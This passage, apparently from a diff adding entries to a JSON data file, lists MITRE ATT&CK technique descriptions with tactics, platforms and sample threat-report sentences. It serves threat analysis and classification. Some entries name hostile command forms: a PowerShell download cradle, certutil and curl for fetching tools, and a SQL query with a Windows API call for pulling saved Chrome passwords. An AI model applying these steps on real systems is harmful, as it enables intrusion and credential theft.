enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1115", + "text": "ATT&CK technique: T1115 Clipboard Data\nDescription: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Cybercriminals use this RAT to steal user credentials and spy on victims through screenshots, keyboard logging, and clipboard capturing." + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1200", + "text": "ATT&CK technique: T1200 Hardware Additions\nDescription: Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.003", + "text": "ATT&CK technique: T1557.003 DHCP Spoofing\nDescription: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: 1. The client broadcasts a `DISCOVER` message. 2. The server responds with an `OFFER` message, which includes an available network address. 3. The client broadcasts a `REQUEST` message, which includes the network address offered. 4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters. Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of 